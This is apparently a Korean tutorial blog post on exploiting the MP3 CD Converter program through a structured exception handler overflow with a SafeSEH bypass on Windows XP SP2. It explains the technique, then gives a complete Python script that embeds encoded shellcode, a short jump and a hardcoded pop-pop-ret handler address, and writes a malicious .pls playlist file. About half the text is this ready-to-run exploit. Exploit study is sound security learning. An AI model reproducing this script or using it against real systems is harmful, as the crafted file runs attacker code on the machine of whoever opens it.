본문 바로가기

system

MP3 CD Converter Exploit

SEH Overflow를 이용해 MP3 CD Converter 프로그램을 Exploit 해보도록 하겠다. + SafeSEH 우회

먼 옛날의 SafeSEH 가 걸려있지 않은 경우 Handler의 주소만 쉘코드가 위치한 주소로 바꾸면 되겠지만... 요즘에는 여러가지 보안 메커니즘이 적용되어있기 때문에 힘들다.. 여기서는 SafeSEH 를 우회하여 Exploit 해보도록 하겠다. 

 

SEH Oerflow

Windows 에서 GS(Security Cookie)로 인해 일반적인 BOF 공격이 힘들다. 이를 극복하기 위해 *Next, *Handler 까지의 값을 덮어씌우고 인위적으로 예외를 발생시켜 덮어씌운 Handler 가 실행되도록 유도할 수 있다.

 

 

환경

OS : Windows XP Service Pack 2

취약 프로그램 : MP3 CD Converter

사용 도구 : Immunity Debugger, Ollydbg, Python

 

이 프로그램은 5000~6000byte 크기의 .pls 파일을 로드할 때 SEH Handler 부분을 덮어씌울 수 있기에 이 부분을 이용해 Exploit 할 수 있다.

 

 

Exploit 과정

1. Immunity Debugger 의 mona.py 플러그인을 이용해 SEH Handler 까지의 offset 을 구한다. (pattern_create, pattern_offset)

2. Handler 주소에 &(pop-pop-ret) 이나 call dword ptr [EBP+xx], call dword ptr [ESP+xx] 명령을 넣고,  Next 주소에는 Short JMP 

3. GS, RET 값을 덮어써 예외를 발생시키면서 예외 핸들러(pop-pop-ret) 가 실행됨.

4. ret 이 위치한 부분에는 Next 가 위치한 영역으로,  pop-pop-ret 이 실행되면서 Next 주소 값이 실행된다.

5. 이 때 Next 안에 쉘코드를 점프할 수 있도록 JMP 명령을 채워져 있다면 shellcode로 점프한다.     ex ) 0x10EB...

 

 

mona.py 를 통해 pattern_offset 을 구할 수 있다. 위에서는 784byte 는 Next 까지 덮었기 때문에 4byte만큼 빼서  780byte 를 덮어써야 한다.

 

SafeSEH 우회하기 위해 취약한 application이 SafeSEH 로 컴파일 되지 않았거나 로드된 모듈 중 하나 이상이 SafeSEH 로 컴파일 되어 있지 않은 경우, 해당 모듈 또는 dll 파일에서 pop-pop-ret 주소를 가져와 사용할 수 있다.

 

※ SafeSEH 에 걸리는 조건

1. Handler의 주소가 스택에 위치할 경우

2. 모듈에 있는 모든 핸들러 주소가 저장된 LCD 값이 핸들러 주소와 다른 경우. ->  Load 된 DLL 의 명령은 허용

 

SafeSEH 동작 과정

Exception Handler 가 호출될 때 ntdll.dll(KiUserExceptionDispatcher)는 이 포인터가 유효한 것인지 체크한다.

첫쨰로, ntdll 은 스택의 주소로 직접 재 점프 해 오는 코드를 제거함. -> TEB 엔트리 중 FS:[4], FS:[8] 을 이용.

즉, 포인터가 스택 상의 주소를 가리키고 있다면 Handler는 호출되지 않는다.

Handler 가 스택 주소가 아니라면 해당 주소는 코드가 로드된 모듈 중 하나의 주소 범위를 가리키고 있는지 확인한다. 만약 일치하는 부분이 있다면 포인터 사용이 허용된다. 모듈이 LCD를 가지고 있지 않다면 핸들러는 정상 호출된다.

 

 

Exception Handler(pop-pop-ret) 이 실행될 때의 스택이다.

| RETURN | 000FFFA54 | 00100544(Next) | 000FFA70 | ... 이런식으로 되어 있다. RETURN 뒤의 값은 exception_handler 구조체 값을 가지고 있다.

pop - pop - ret 이 아니더라도 ebp+c, ebp+24 등의 부분에 0x100544 값이 존재하므로, call dword ptr [EBP+C] , call dword ptr [EBP+24] 등의 명령을 이용해 0x100544 주소의 값을 실행시키면 된다.

 

Next 주소 값에는 JMP SHORT [offset] 기계어 코드를 이용해 shellcode 로 이동할 수 있다.

 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

import struct

buf =  ""
buf += "\x89\xe2\xda\xc3\xd9\x72\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x4f\x4e\x68\x58\x49"
buf += "\x67\x59\x34\x58\x38\x6a\x7a\x49\x4b\x78\x59\x42\x54"
buf += "\x55\x74\x6c\x34\x66\x38\x65\x63\x6b\x79\x6c\x71\x34"
buf += "\x71\x4f\x73\x79\x50\x66\x64\x55\x61\x30\x70\x34\x4f"
buf += "\x54\x43\x62\x50\x78\x57\x72\x35\x42\x71\x67\x34\x34"
buf += "\x4f\x33\x6b\x4c\x5a\x38\x35\x78\x4f\x35\x6c\x52\x32"
buf += "\x76\x30\x49\x6e\x51\x6c\x37\x30\x56\x70\x32\x70\x70"
buf += "\x4d\x43\x32\x62\x54\x31\x4c\x37\x56\x43\x76\x50\x6d"
buf += "\x68\x57\x73\x7a\x50\x4f\x4f\x72\x52\x70\x59\x70\x6d"
buf += "\x79\x4c\x6d\x75\x31\x32\x79\x6b\x39\x4e\x4c\x68\x61"
buf += "\x39\x30\x39\x4e\x36\x6e\x48\x58\x73\x5a\x37\x63\x50"
buf += "\x4e\x37\x6d\x6f\x66\x4b\x6e\x46\x62\x48\x76\x69\x4c"
buf += "\x52\x6d\x38\x33\x33\x43\x6e\x48\x50\x4d\x47\x48\x6a"
buf += "\x6f\x67\x4c\x49\x46\x39\x4d\x4e\x67\x75\x6f\x6a\x57"
buf += "\x64\x33\x6f\x6c\x36\x79\x69\x47\x33\x42\x51\x61\x47"
buf += "\x62\x43\x6e\x72\x4d\x6a\x36\x77\x6f\x75\x78\x45\x56"
buf += "\x72\x4c\x48\x6b\x6e\x4b\x5a\x6e\x4d\x6d\x75\x44\x56"
buf += "\x67\x54\x6f\x70\x72\x7a\x47\x36\x39\x34\x37\x4f\x44"
buf += "\x62\x38\x74\x6c\x6d\x51\x48\x47\x39\x35\x54\x77\x31"
buf += "\x46\x6f\x4a\x31\x61\x6f\x4d\x30\x4d\x47\x6c\x48\x71"
buf += "\x42\x45\x6f\x5a\x4f\x6d\x69\x46\x4c\x30\x65\x69\x4c"
buf += "\x51\x5a\x33\x54\x37\x71\x75\x4e\x55\x56\x42\x43\x6b"
buf += "\x65\x4d\x6a\x61\x4e\x4f\x31\x4a\x4b\x42\x47\x30\x4a"
buf += "\x4b\x62\x58\x49\x46\x73\x39\x4c\x6f\x39\x71\x50\x4f"
buf += "\x4b\x47\x35\x4e\x37\x6d\x6e\x6f\x43\x68\x6b\x4e\x4f"
buf += "\x4b\x39\x4b\x33\x44\x4a\x4b\x58\x31\x4e\x61\x32\x32"
buf += "\x59\x7a\x77\x34\x6d\x6c\x66\x30\x5a\x4c\x33\x66\x6f"
buf += "\x4f\x7a\x64\x6d\x55\x53\x57\x64\x74\x6c\x4b\x5a\x72"
buf += "\x73\x47\x6d\x4f\x4b\x58\x34\x6d\x50\x32\x6e\x62\x76"
buf += "\x38\x6f\x56\x6f\x6b\x56\x36\x6e\x39\x4e\x4b\x45\x4b"
buf += "\x6e\x6d\x77\x6d\x78\x52\x4f\x6f\x71\x34\x49\x4d\x71"
buf += "\x31\x6d\x6f\x30\x4c\x4a\x78\x70\x6e\x46\x67\x4d\x6c"
buf += "\x6c\x50\x69\x6f\x49\x72\x49\x52\x53\x37\x69\x6f\x54"
buf += "\x66\x49\x31\x4b\x76\x4d\x43\x4c\x6b\x56\x68\x42\x4d"
buf += "\x76\x74\x33\x79\x76\x35\x41\x41"

 

# Exploit Payload
seh_next = struct.pack("<L", 0x909010EB)
seh_handler = struct.pack("<L", 0x0040793f)

payload = "\x90" * 780 + seh_next + seh_handler + "A"*12 + buf + "B"*6000

f = open("test1.pls", "wb")
f.write(payload[:6000])
f.close()

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -